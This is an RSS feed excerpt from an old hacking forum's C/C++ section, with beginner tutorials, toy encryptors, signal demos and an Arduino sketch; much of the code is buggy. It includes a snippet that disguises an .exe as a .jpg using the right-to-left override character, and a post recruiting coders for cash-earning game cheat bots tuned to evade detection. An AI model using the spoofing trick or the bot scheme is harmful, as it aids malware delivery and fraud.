      <guid isPermaLink="false">6138@/index.php?p=/discussions</guid>
      <description><![CDATA[<p>So iv been trying to make a crack me, all is good but the char comparison doesn't work. Can anyone help explain why??</p><br><br><br><br><div style="padding:10px; height:270px;overflow:scroll;width:80%;background-color:#525252;boder:solid 1px #21BA0D;"><br><code style="background-color:transparent;color:#f1f1f1;boder:solid 1px transparent;"><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> iostream<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> stdio.h<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> string.h<br><br>using namespace std;<br><br>int main();<br><br>void strget(char password[])<br>{<br>    char Local[10] = &quot;AP4ssW0rD&quot;;<br><br>    char *Get = Local;<br>    cout &amp;lt;&amp;lt; Get &amp;lt;&amp;lt; &quot; = &quot; &amp;lt;&amp;lt; password &amp;lt;&amp;lt; endl;<br>    if(strcmp(Get, Local) != 0)<br>    {<br>        cout &amp;lt;&amp;lt; &quot;Welcome to the CIA...\n\n&quot;;<br>    }else{<br>        main();<br>    }<br>}<br><br><br>int main()<br>{<br>    int Attempts = 0;<br>    char passwordprompt[] = &quot;Password: &quot;;<br>    char entered[10];<br>    char *Prompt = passwordprompt;<br>        cout &amp;lt;&amp;lt; endl &amp;lt;&amp;lt; Prompt;<br>        cin &amp;gt;&amp;gt; entered;<br>        if(Attempts &amp;gt;= 3)<br>        {<br>            goto End;<br>        }else{<br>            char *EnteredPassword = entered;<br>            Attempts++;<br>            strget(EnteredPassword);<br>        }<br><br>    End:<br>    return 0;<br>}<br></code><br></div><br><br><p>PS. Hope you like my little code box, appart from the stupid border that this forum adds to code tags :/</p>]]></description>
   </item>
   <item>
      <title>iExploit Mobile Application?</title>
      <link>http://iexploit.org/index.php?p=/discussion/6006/iexploit-mobile-application</link>
      <pubDate>Sun, 15 Apr 2012 19:15:12 -0400</pubDate>
      <dc:creator>D0WNGRADE</dc:creator>
      <guid isPermaLink="false">6006@/index.php?p=/discussions</guid>
      <description><![CDATA[Well, I just bought my new Nokia Lumia 900 and I want to make some applications for the Windows Phone marketplace and maybe Android's as well...<br><br>So Xin, if you're cool with this, does Vanilla have any public API available? :P<br><br>EDIT: This is in C/C++ because WP is with C#. lol<br>]]></description>
   </item>
   <item>
      <title>C for newcomers, Part 5</title>
      <link>http://iexploit.org/index.php?p=/discussion/636/c-for-newcomers-part-5</link>
      <pubDate>Sun, 09 May 2010 18:58:28 -0400</pubDate>
      <dc:creator>chroniccommand</dc:creator>
      <guid isPermaLink="false">636@/index.php?p=/discussions</guid>
      <description><![CDATA[In this section of my "C for newcomers" guide, I will be going over logic and the "if" statement. <br>-----------------------------------------------------------<br>So, what is logic? Logic, in my opinion, is basically using your brain. If more people used logic there would be nobody losing $20,000 in Vegas. What I will teach you today is how to use logic in C. Using logic will help your program make decisions and carry them out. Lets say we wanted a program that asked for a users input. Lets make one of those stupid fake viruses that you usually see in batch files(Note: I will use a command called "system" in this program. All you need to know about this for now is it lets you carry out system commands and will be used to simply scare somebody).<br><div class="PreContainer"><pre><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;stdio&amp;#46;h&amp;gt;<br><br>int main()<br>{<br>char s;<br>printf(\&quot;There is a virus 0n j00r system! Would you like to get rid of it?&amp;#91;Y/N&amp;#93;\n\&quot;);<br>s = getchar();<br>if(s == 'Y')<br>   {<br>      printf(\&quot;Ok, Virus is gone!\n\&quot;);<br>   }<br>else(s == 'N')<br>   {<br>      printf(\&quot;Fine, say goodbye to your computer!\n\&quot;);<br>      system('ls /etc\&quot;);<br>      system('ls /etc\&quot;);<br>      system('ls /etc\&quot;);<br>    }<br>return(0);<br>}<br></pre></div><br>If you've ever coded in another language before you should know what if and else is. If not, I will not explain it:<br>So we are declaring character "s" first, then we are asking the user for input. If the user presses Y it prints the virus is gone and terminates the program. If the user presses "N" it will say goodbye to the computer then use the system command to use "ls /etc" 3 times. This will just list everything in the /etc folder 3 times then terminate, making a retard shit there pants.<br><br>The if command in C is used to compare and contrast things and if they equal either true or false, they are carried out(Executed). Notice how the if and else statements don't need a colon after, just a new set of brackets. In C it is good to use the brackets when using IF and ELSE statements. Now suppose we want to make a hidden function, like an easter egg in the program, So if the user presses the T key, it prints something. This is done using the ElseIf command. Take a look:<br><div class="PreContainer"><pre><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;stdio&amp;#46;h&amp;gt;<br><br>int main()<br>{<br>char s;<br>printf(\&quot;There is a virus 0n j00r system! Would you like to get rid of it?&amp;#91;Y/N&amp;#93;\n\&quot;);<br>s = getchar();<br>if(s == 'Y')<br>   {<br>      printf(\&quot;Ok, Virus is gone!\n\&quot;);<br>   }<br>else if(s == 'T')<br>   {<br>      printf(\&quot;You found teh easter egg! Good job!\n\&quot;);<br>   }<br>else(s == 'N')<br>   {<br>      printf(\&quot;Fine, say goodbye to your computer!\n\&quot;);<br>      system('ls /etc\&quot;);<br>      system('ls /etc\&quot;);<br>      system('ls /etc\&quot;);<br>    }<br>return(0);<br>}<br></pre></div><br>See what I did there? The else if command is usually used when comparing more than 2 things. <br><br><b>|| and &amp;&amp;</b><br>Now for a lesson on the <i>OR</i> and <i>AND</i> operators. These are used in C to compare different things. Lets say we wanted a program to compare temperature. Lets take a look at using <i>AND</i><br><div class="PreContainer"><pre><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;stdio&amp;#46;h&amp;gt;<br><br>int main()<br>{<br>char s;<br>printf(\&quot;What is your favorite number?\n\&quot;);<br>s=getchar();<br>if(s == '1' || '2' || '3' || '4' || '5')<br>{<br>printf(\&quot;Your favorite number is either 5 or less!\n\&quot;);<br>}<br>else<br>{<br>printf(\&quot;Your number is greater than 5!\n\&quot;);<br>}<br>return(0);<br>}<br></pre></div><br>Now see how our if statement has the || 's? That means if its 1 OR 2 OR 3 OR 4 OR 5 it prints that statement. There is an easier way to do this in C, try this code:<br><div class="PreContainer"><pre><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;stdio&amp;#46;h&amp;gt;<br><br>int main()<br>{<br>char s;<br>printf(\&quot;What is your favorite number?\n\&quot;);<br>s = getchar();<br>if(s&amp;lt;5)<br>{<br>printf(\&quot;The number is less than 5!\n\&quot;);<br>}<br>else<br>{<br>printf(\&quot;The number is greater than 5!\n\&quot;);<br>}<br>return(0);<br>}<br></pre></div><br>This program uses the less than operator which is "&lt;" But this program could pick up some errors, because we are comparing a number. The "getchar()" function compares a string. So what if we wanted to compare numbers? Try adding this line after the getchar() function<br><div class="PreContainer"><pre>b = atoi(s);</pre></div><br>Now use that and change the if statement to:<br><div class="PreContainer"><pre>if(b&amp;lt;5)</pre></div><br>So now we are using atoi, which is changing the string to an integer. Don't forget to declare "b" as an integer though! Now take a look at this program that uses that.<br><div class="PreContainer"><pre><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;stdio&amp;#46;h&amp;gt;<br><br>int main()<br>{<br>char s;<br>int b;<br>printf(\&quot;What is your favorite number?\n\&quot;);<br>s = getchar();<br>b = atoi(s);<br>if(b&amp;lt;5)<br>{<br>printf(\&quot;The number is less than five!\n\&quot;);<br>}<br>else<br>{<br>printf(\&quot;The number is greater than five!\n\&quot;);<br>}<br>return(0);<br>}<br></pre></div><br>See that? We used some simple logic using the if operator to ask for a number. We stuck in the atoi function to convert "s" which is originally a character to an integer. <br><br>I hope this helped quite a bit. This is simple logic in C using the if and else operators in C.<br><br>--Chroniccommand]]></description>
   </item>
   <item>
      <title>[C] Simple File Crypt</title>
      <link>http://iexploit.org/index.php?p=/discussion/2837/c-simple-file-crypt</link>
      <pubDate>Sat, 25 Jun 2011 18:19:10 -0400</pubDate>
      <dc:creator>GT3X</dc:creator>
      <guid isPermaLink="false">2837@/index.php?p=/discussions</guid>
      <description><![CDATA[<div class="PreContainer"><pre><br><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;stdio&amp;#46;h&amp;gt;<br><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23define&amp;Mode=like">#define</a> ENCRYPTION (int)Byte + 30<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23define&amp;Mode=like">#define</a> DECRYPTION (int)Byte - 30<br><br>int Encrypt(char *file, char* newfile)<br>{<br>    FILE *in, *out;<br>    <br>    char Byte, newByte;<br>      <br>    in = fopen(file, \&quot;rb\&quot;);<br>    out = fopen(newfile, \&quot;w\&quot;);<br>    <br>    if(in == NULL || out == NULL) <br>    {<br>        printf(\&quot;error in\&quot;);<br>    }<br>    else <br>    {<br>        printf(\&quot;File opend, Encrypting&amp;#46;&amp;#46;&amp;#46;\&quot;);<br>        while(1)<br>        {<br>            printf(\&quot;&amp;#46;\&quot;);<br>            <br>            if(Byte != EOF)<br>            {<br>                Byte=fgetc(in);<br>                newByte=Byte+30;<br>                fputc(newByte, out );<br>            }<br>            else<br>            {<br>                printf(\&quot;End of File\&quot;);<br>                break;<br>            }<br>        }<br>        fclose(in);<br>        fclose(out);<br>    }<br>    <br>}<br><br>int Decrypt(char *file, char *newfile)<br>{<br>    FILE *in,*out;<br>    <br>    char Byte, newByte;<br>    <br>    in = fopen(file, \&quot;rb\&quot;);<br>    out = fopen(newfile, \&quot;w\&quot;);<br>    <br>    if(in == NULL || out == NULL)<br>    {<br>        printf(\&quot;Erro\&quot;);<br>    }<br>    else<br>    {<br>        printf(\&quot;File Opened, Decrypting\&quot;);<br>        while(1)<br>        {<br>            printf(\&quot;&amp;#46;\&quot;);<br>            if(Byte!=EOF)<br>            {<br>                Byte = fgetc(in);<br>                newByte = Byte-30;<br>            }<br>            else <br>            {<br>                printf(\&quot;End of file\&quot;);<br>                break;<br>            }<br>        }<br>        fclose(in);<br>        fclose(out);<br>    }<br></pre></div>]]></description>
   </item>
   <item>
      <title>blocking of signal code try and see the output</title>
      <link>http://iexploit.org/index.php?p=/discussion/5798/blocking-of-signal-code-try-and-see-the-output</link>
      <pubDate>Wed, 31 Aug 2011 14:40:57 -0400</pubDate>
      <dc:creator>cyberpirate</dc:creator>
      <guid isPermaLink="false">5798@/index.php?p=/discussions</guid>
      <description><![CDATA[Hey guys here is a simple code to block your linux signal :D:D.. plz don't try this ;):D:D<br><div class="PreContainer"><pre><br>#include&amp;lt;stdio&amp;#46;h&amp;gt;<br>#include&amp;lt;unistd&amp;#46;h&amp;gt;<br>#include&amp;lt;sys/types&amp;#46;h&amp;gt;<br>#include&amp;lt;signal&amp;#46;h&amp;gt;<br>void sighandler(int signum)<br>{<br>switch( signum )<br>{<br>case SIGTERM&amp;#58;<br>printf(\&quot;SIGTERM received\n\&quot;);<br>break;<br>case SIGINT&amp;#58;<br>printf(\&quot;SIGINT Received\n\&quot;);<br>break;<br>case SIGCONT&amp;#58;<br>printf(\&quot;SIGCONT Received\n\&quot;);<br>break;<br>}<br>}<br>int main()<br>{<br>char buffer&amp;#91; 80 &amp;#93;=\&quot;\0\&quot;;<br>sigset_t block;<br>signal( SIGTERM,sighandler );<br>signal( SIGINT,sighandler );<br>signal( SIGCONT,sighandler);<br>sigemptyset(&amp;block);<br>sigaddset( &amp;block,SIGTERM);<br>sigaddset( &amp;block,SIGINT);<br>sigprocmask( SIG_BLOCK,&amp;block,NULL);<br>while ( strcmp(buffer,\&quot;n\&quot;)!=0)<br>{<br>printf(\&quot;enter a string&amp;#58;\&quot;);<br>gets(buffer);<br>puts(buffer);<br>}<br>sigprocmask(SIG_UNBLOCK,&amp;block,NULL);<br>while(1)<br>printf(\&quot;\rProgram running\&quot;);<br>}<br></pre></div><br>Run this code into your linux and try to send the signal by pressing the keys ctrl+c and after that try to kill the process and then see what happen :D:D.. Enjoy!!!!]]></description>
   </item>
   <item>
      <title>A simple program to see signalhandler output</title>
      <link>http://iexploit.org/index.php?p=/discussion/5797/a-simple-program-to-see-signalhandler-output</link>
      <pubDate>Wed, 31 Aug 2011 04:29:59 -0400</pubDate>
      <dc:creator>cyberpirate</dc:creator>
      <guid isPermaLink="false">5797@/index.php?p=/discussions</guid>
      <description><![CDATA[Here is a simple program to see the linux message when you press the ctrl+c<br><div class="PreContainer"><pre><br>#include&amp;lt;stdio&amp;#46;h&amp;gt;<br>#include&amp;lt;signal&amp;#46;h&amp;gt;<br>void sighandler(char signum);<br>int main()<br>{<br>signal(SIGINT,(void*)sighandler);<br>while(1)<br>printf(\&quot;iexploit&amp;#46;org\&quot;);<br>}<br>void sighandler(char signum)<br>{<br>printf(\&quot;SIGINT received&amp;#46;Insisde sighandler\n\&quot;);<br>}<br></pre></div><br>just run this program and press ctrl+c and then see whats the output comes..you can stop the program by pressing ctrl+z..and then use shif+pgup key to see the output.. To understand how signal works refer my article in off-topic..]]></description>
   </item>
   <item>
      <title>tell me the output :D</title>
      <link>http://iexploit.org/index.php?p=/discussion/5787/tell-me-the-output-d</link>
      <pubDate>Tue, 30 Aug 2011 07:03:23 -0400</pubDate>
      <dc:creator>cyberpirate</dc:creator>
      <guid isPermaLink="false">5787@/index.php?p=/discussions</guid>
      <description><![CDATA[hey guys just guess and tell me what's the output of this code.. Remember don't try to run before gussing :D:D:D:D<br><div class="PreContainer"><pre><br>#include&amp;lt;stdio&amp;#46;h&amp;gt;<br>#include&amp;lt;conio&amp;#46;h&amp;gt;<br>void main()<br>{<br>int a=1;<br>printf(\&quot;%d%d%d\&quot;,a,++a,a++);<br>getch();<br>}<br></pre></div><br>:D:D:D just guess and tell me :D:D]]></description>
   </item>
   <item>
      <title>[C++] Win32 Programming Tutorials</title>
      <link>http://iexploit.org/index.php?p=/discussion/5709/c-win32-programming-tutorials</link>
      <pubDate>Wed, 17 Aug 2011 16:39:27 -0400</pubDate>
      <dc:creator>Sh3llc0d3</dc:creator>
      <guid isPermaLink="false">5709@/index.php?p=/discussions</guid>
      <description><![CDATA[These are the best tutorials I know on Win32 and WinSock programming. If you want me to add more let me know the link etc :). Hope you find them useful!<br><br>Win32 API Tutorials:<br><a class="postlink" rel="nofollow" href="http://www.win32developer.com/tutorial.shtm">http://www.win32developer.com/tutorial.shtm</a><br><a class="postlink" rel="nofollow" href="http://www.winprog.org/tutorial/">http://www.winprog.org/tutorial/</a><br><br>WinSock Tutorial:<br><a class="postlink" rel="nofollow" href="http://www.madwizard.org/programming/tutorials/netcpp/">http://www.madwizard.org/programming/tutorials/netcpp/</a><br><a class="postlink" rel="nofollow" href="http://www.win32developer.com/tutorial/winsock/winsock_tutorial_1.shtm">http://www.win32developer.com/tutorial/ ... ial_1.shtm</a><br><br>EDIT: w00t 2k posts :)]]></description>
   </item>
   <item>
      <title>[Ebook] Beej&#039;s Networking Guide [C++]</title>
      <link>http://iexploit.org/index.php?p=/discussion/1489/ebook-beej039s-networking-guide-c-</link>
      <pubDate>Sun, 24 Oct 2010 19:26:35 -0400</pubDate>
      <dc:creator>Sh3llc0d3</dc:creator>
      <guid isPermaLink="false">1489@/index.php?p=/discussions</guid>
      <description><![CDATA[Plenty of people code rat's and other malware in vb.net or delphi but this guide should give you the fundamentals in C++ networking to be able to code your own tools. It's not a short read but C++ is not an easy language to learn....<br><br><b><span style="color: #FF0000;"><span>Download Link</span></span></b><br><br>[spoiler=AV scan]<i>Antivirus results</i><br>AhnLab-V3 - 2010.10.24.00 - 2010.10.23 - -<br>AntiVir - 7.10.13.27 - 2010.10.22 - -<br>Antiy-AVL - 2.0.3.7 - 2010.10.24 - -<br>Authentium - 5.2.0.5 - 2010.10.23 - -<br>Avast - 4.8.1351.0 - 2010.10.24 - -<br>Avast5 - 5.0.594.0 - 2010.10.24 - -<br>AVG - 9.0.0.851 - 2010.10.24 - -<br>BitDefender - 7.2 - 2010.10.24 - -<br>CAT-QuickHeal - 11.00 - 2010.10.22 - -<br>ClamAV - 0.96.2.0-git - 2010.10.23 - -<br>Comodo - 6488 - 2010.10.23 - -<br>DrWeb - 5.0.2.03300 - 2010.10.24 - -<br>Emsisoft - 5.0.0.50 - 2010.10.24 - -<br>eSafe - 7.0.17.0 - 2010.10.24 - -<br>eTrust-Vet - 36.1.7929 - 2010.10.22 - -<br>F-Prot - 4.6.2.117 - 2010.10.23 - -<br>F-Secure - 9.0.16160.0 - 2010.10.24 - -<br>Fortinet - 4.2.249.0 - 2010.10.24 - -<br>GData - 21 - 2010.10.24 - -<br>Ikarus - T3.1.1.90.0 - 2010.10.24 - -<br>Jiangmin - 13.0.900 - 2010.10.24 - -<br>K7AntiVirus - 9.66.2813 - 2010.10.22 - -<br>Kaspersky - 7.0.0.125 - 2010.10.24 - -<br>McAfee - 5.400.0.1158 - 2010.10.24 - -<br>McAfee-GW-Edition - 2010.1C - 2010.10.24 - -<br>Microsoft - 1.6301 - 2010.10.24 - -<br>NOD32 - 5560 - 2010.10.24 - -<br>Norman - 6.06.10 - 2010.10.24 - -<br>nProtect - 2010-10-24.01 - 2010.10.24 - -<br>Panda - 10.0.2.7 - 2010.10.24 - -<br>PCTools - 7.0.3.5 - 2010.10.24 - -<br>Prevx - 3.0 - 2010.10.24 - -<br>Rising - 22.70.05.00 - 2010.10.24 - -<br>Sophos - 4.58.0 - 2010.10.24 - -<br>Sunbelt - 7131 - 2010.10.24 - -<br>SUPERAntiSpyware - 4.40.0.1006 - 2010.10.24 - -<br>Symantec - 20101.2.0.161 - 2010.10.24 - -<br>TheHacker - 6.7.0.1.065 - 2010.10.24 - -<br>TrendMicro - 9.120.0.1004 - 2010.10.24 - -<br>TrendMicro-HouseCall - 9.120.0.1004 - 2010.10.24 - -<br>VBA32 - 3.12.14.1 - 2010.10.22 - -<br>ViRobot - 2010.10.24.4110 - 2010.10.24 - -<br>VirusBuster - 12.70.2.0 - 2010.10.24 - -<br><i>File info:</i><br>MD5: c5d06b114b56d2b86639e2ab6a3bffc7<br>SHA1: 5a747c8b90f0f7b499840b195fef0c00b3b6d328<br>SHA256: e5cfe9ec0e22e9aac7492d29b9440f0a3dce094535bbb5e8718848536606787a<br>File size: 738252 bytes<br>Scan date: 2010-10-24 17:23:57 (UTC)[/spoiler]]]></description>
   </item>
   <item>
      <title>Arduino [Potentiometer + 4 LEDs] [Basic]</title>
      <link>http://iexploit.org/index.php?p=/discussion/5640/arduino-potentiometer-4-leds-basic</link>
      <pubDate>Sat, 06 Aug 2011 21:50:46 -0400</pubDate>
      <dc:creator>Sh3llc0d3</dc:creator>
      <guid isPermaLink="false">5640@/index.php?p=/discussions</guid>
      <description><![CDATA[Well this s a rare one for me but I thought I'd share the source to this program I made to run of a Arduino chip. It's pretty simple and pretty easy once you know what your doing (where the pins are etc).<br><br>What you'll need:<br>- Potentiometer<br>- 4 LEDs<br>- 8 wires.<br>- 4 1KÎ© Resistors (I'm told you could probably get away with lower resistance ones though).<br>- Oh yeah and an Arduino (i'm using the uno model).<br><br><div class="PreContainer"><pre>/*<br>  Description&amp;#58; Potentiometer with increasing LEDs (ok it's a short description)<br>  Coded by&amp;#58; Sh3llc0d3<br> */<br>int greenPinOne = 10;                                // initialises green led (#1) on pin 10<br>int greenPinTwo = 11;                                // initialises green led (#2) on pin 11<br>int redPinOne = 12;                                  // initialises red led (#1) on pin 12<br>int redPinTwo = 13;                                  // initialises red led (#2) on pin 13<br><br>void setup() {<br>  pinMode(greenPinOne, OUTPUT);                      // This just sets the pins up and declares <br>  pinMode(greenPinTwo, OUTPUT);                      // the above variables(pins/leds) as outputs&amp;#46;<br>  pinMode(redPinOne, OUTPUT);<br>  pinMode(redPinTwo, OUTPUT);<br>}<br><br>void loop() {<br>  int sensorValue = analogRead(A0);                 // I have a potentiometer hooked up to A0 (analogue pin 0) &amp;#46;&amp;#46;&amp;#46;this declares the variable and reads input from A0&amp;#46;<br>  if (sensorValue == 0)                             // This next bit it pretty simple, just pretty much involves if statements&amp;#46;&amp;#46;&amp;#46; well it does&amp;#46;&amp;#46;&amp;#46; the if's<br>  {                                                 // read the value from the potentiometer and then respond giving the correct output via the led lights&amp;#46;<br>   digitalWrite(redPinOne, LOW);<br>    digitalWrite(redPinTwo, LOW);<br>    digitalWrite(greenPinOne, LOW);<br>    digitalWrite(greenPinTwo, LOW); <br>  }<br>  if (sensorValue &amp;gt; 0 &amp;&amp; sensorValue &amp;lt;= 250)<br>  {<br>    digitalWrite(redPinOne, LOW);<br>    digitalWrite(redPinTwo, LOW);<br>    digitalWrite(greenPinOne, HIGH);<br>    digitalWrite(greenPinTwo, LOW);<br>  }<br>  if (sensorValue &amp;gt; 250 &amp;&amp; sensorValue &amp;lt;= 500)<br>  {<br>   digitalWrite(redPinOne, LOW);<br>   digitalWrite(redPinTwo, LOW);<br>   digitalWrite(greenPinOne, HIGH);<br>   digitalWrite(greenPinTwo, HIGH); <br>  }<br>  if (sensorValue &amp;gt; 500 &amp;&amp; sensorValue &amp;lt;= 750)<br>  {<br>   digitalWrite(redPinOne, HIGH);<br>    digitalWrite(redPinTwo, LOW);<br>    digitalWrite(greenPinOne, HIGH);<br>    digitalWrite(greenPinTwo, HIGH); <br>  }<br>  if (sensorValue &amp;gt; 750 &amp;&amp; sensorValue &amp;lt; 1000)<br>  {<br>   digitalWrite(redPinOne, HIGH);<br>    digitalWrite(redPinTwo, HIGH);<br>    digitalWrite(greenPinOne, HIGH);<br>    digitalWrite(greenPinTwo, HIGH); <br>  }<br>}</pre></div><br><br>Also for anyone wondering, the void loop() and void setup() and prereq's for the program to work. If you name them something else of spell it wrong then you won't be able to upload your program onto your arduino board/chip.<br><br>The result is (apologies for using the shit camera on my phone):<br><br>[align=center][video=youtube]<div class="Video"><object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/6vmbHbMGEIE[/video][/align]&amp;hl=en_US&amp;fs=1&amp;"><param name="allowFullScreen" value="true"><param name="allowscriptaccess" value="always"><embed src="http://www.youtube.com/v/6vmbHbMGEIE[/video][/align]&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash" width="640" height="385"></object></div><br><br>The noise at 0.11 is my cat that decided to check out what I was doing :\]]></description>
   </item>
   <item>
      <title>[C++] &quot;Windows Extension Spoofing&quot;</title>
      <link>http://iexploit.org/index.php?p=/discussion/5518/c-windows-extension-spoofing</link>
      <pubDate>Wed, 27 Jul 2011 18:20:48 -0400</pubDate>
      <dc:creator>GT3X</dc:creator>
      <guid isPermaLink="false">5518@/index.php?p=/discussions</guid>
      <description><![CDATA[Ive seen alot of "Extension Spoofers" around the interwebz and some of them were sold for a lot of money but tbh they are bullshit and they just use a Unicode called "Right to left override" (google it if u wanna get more infos) . You just need 3 LoC for this lmao <br><br><div class="PreContainer"><pre><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;iostream&amp;gt;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;Windows&amp;#46;h&amp;gt;<br><br>int main()<br>{<br>        //wchar_t cuz of unicode<br>	wchar_t target&amp;#91;&amp;#93; = L\&quot;test&amp;#46;exe\&quot;;<br>	wchar_t output&amp;#91;&amp;#93; = L\&quot;new-\u202E&amp;#46;gpj&amp;#46;exe\&quot;;<br>	<br>	CopyFileW(target,output,false);<br>	<br>	std&amp;#58;&amp;#58;cout &amp;lt;&amp;lt; \&quot;1337 file spoofing done omfg ^&amp;#46;^\&quot; &amp;lt;&amp;lt; std&amp;#58;&amp;#58;endl;<br><br>	std&amp;#58;&amp;#58;cin&amp;#46;get();<br>	return 0;<br>}<br></pre></div>]]></description>
   </item>
   <item>
      <title>xor encoder</title>
      <link>http://iexploit.org/index.php?p=/discussion/2841/xor-encoder</link>
      <pubDate>Mon, 27 Jun 2011 22:11:15 -0400</pubDate>
      <dc:creator>s1n4</dc:creator>
      <guid isPermaLink="false">2841@/index.php?p=/discussions</guid>
      <description><![CDATA[Hi guys,<br>A simple xor encoder in C for windows.<br><br><div class="PreContainer"><pre>/*<br>___  ______________ <br>\  \/  /  _ \_  __ \<br> &amp;gt;    &amp;lt;  &amp;lt;_&amp;gt; )  | \/<br>/__/\_ \____/|__|   <br>      \/   <br>*/<br><br><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;conio&amp;#46;h&amp;gt;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;stdio&amp;#46;h&amp;gt;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;string&amp;#46;h&amp;gt;<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;windows&amp;#46;h&amp;gt;<br><br>void SetColor(const int, const int);<br><br>void err(unsigned const int);<br><br>void main()<br>{<br>	unsigned int c = 0;<br>	char i, res;<br>	char key&amp;#91;128&amp;#93;, fn&amp;#91;128&amp;#93;;<br><br>	const char head&amp;#91;&amp;#93; = (<br>		\&quot;##################################\n\&quot;<br>		\&quot; #####                      #####\n\&quot;<br>		\&quot; #####     Xor  encoder     #####\n\&quot;<br>		\&quot; #####     for encoding     #####\n\&quot;<br>		\&quot; #####      text files      #####\n\&quot;<br>		\&quot; #####                      #####\n\&quot;<br>		\&quot; #####    Writen by s1n4    #####\n\&quot;<br>		\&quot; #####    June 17 , 2011    #####\n\&quot;<br>		\&quot; #####       4&amp;#58;10 AM        #####\n\&quot;<br>		\&quot; #####                      #####\n\&quot;<br>		\&quot;##################################\n\n\&quot;);<br><br><br>	FILE *input, *output;<br><br>	SetColor(11, 0);<br>	printf(head);<br><br>	SetColor(7, 0);<br><br>	printf(\&quot;Please enter key &amp;gt;&amp;gt; \&quot;);<br>	gets(key);<br><br>	printf(\&quot;Please enter filename &amp;gt;&amp;gt; \&quot;);<br>	gets(fn);<br><br>	if ((input = fopen(fn, \&quot;rb\&quot;)) == NULL)<br>	{<br>		err(1);<br>	}<br><br>	i = getc(input);<br><br>	if ((output = fopen(fn, \&quot;wb\&quot;)) == NULL)<br>	{<br>		err(2);<br>	}<br><br>	while (i != EOF)<br>	{<br>		res = i ^ key&amp;#91;c&amp;#93;;<br>		putc(res, output);<br>		i = getc(input);<br>		if (c == strlen(key)-1)<br>		{<br>			c = 0;<br>			continue;<br>		}<br>		c++;<br>	}<br><br>	fclose(output);<br>	fclose(input);<br><br>	SetColor(10, 0);<br><br>	printf(key);<br>	printf(\&quot; xor \&quot;);<br>	printf(fn);<br><br>	getch();<br>	exit(0);<br>}<br><br><br>void SetColor(const int foreground, const int background) <br>{<br>	int Color = foreground + (background * 16);<br><br>	HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);<br>	SetConsoleTextAttribute(hConsole, Color);<br>}<br><br><br>void err(unsigned const int code)<br>{<br>	SetColor(12, 0);<br>	if (code == 1)<br>		printf(\&quot;Cannot open the file\&quot;);<br><br>	if (code == 2)<br>		printf(\&quot;Cannot replace the file\&quot;);<br><br>	getch();<br>	exit(1);<br>}</pre></div><br><br>If you want to use in other OS you should remove the following code:<br><br><div class="PreContainer"><pre><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23include&amp;Mode=like">#include</a> &amp;lt;windows&amp;#46;h&amp;gt;<br>void SetColor(const int, const int);<br><br>SetColor(11, 0);<br>SetColor(7, 0);<br>SetColor(10, 0);<br><br>void SetColor(const int foreground, const int background) <br>{<br>	int Color = foreground + (background * 16);<br><br>	HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);<br>	SetConsoleTextAttribute(hConsole, Color);<br>}<br><br>SetColor(12, 0);<br></pre></div>]]></description>
   </item>
   <item>
      <title>King.com Cheat Bots and Method - Extra Coder needed</title>
      <link>http://iexploit.org/index.php?p=/discussion/919/king-com-cheat-bots-and-method-extra-coder-needed</link>
      <pubDate>Thu, 24 Jun 2010 18:48:30 -0400</pubDate>
      <dc:creator>botmakers</dc:creator>
      <guid isPermaLink="false">919@/index.php?p=/discussions</guid>
      <description><![CDATA[Hi Guys I'm not sure where I should have put this or if there is even a particular section so if its not in the right spot I ask that a mod move it to its proper locations. I make King.com bots as my side hobby. I am looking for another coder who is efficient at C# to aid in me in making the bots also I already have the structure but due to time constraints and testing I would like to add another person to the team. Payment can all be discussed if the person does qualify after a short C# test. Anyhow I also sell the king.com bots I make they play for you and do not lose (This is all shown to you beforehand through teamviewer so you can prove that it does as I say). I also show all my payment proof also through teamviewer in realtime so it can't be doctored or changed my bots run for 3 hrs and bring in $40-$50 a day. It is currently capped at 55 a day max to avoid looking suspect and I have had no issues at the level so if you are interested this is the cap you would have to stick with. Anyhow my main factor in this is to find another coder so if you do know C# please don't hesitate to contact me through msn <a rel="nofollow" href="mailto:botmakers@hotmail.com">botmakers@hotmail.com</a>]]></description>
   </item>
   <item>
      <title>Unix pipes</title>
      <link>http://iexploit.org/index.php?p=/discussion/2844/unix-pipes</link>
      <pubDate>Tue, 28 Jun 2011 16:15:28 -0400</pubDate>
      <dc:creator>GT3X</dc:creator>
      <guid isPermaLink="false">2844@/index.php?p=/discussions</guid>
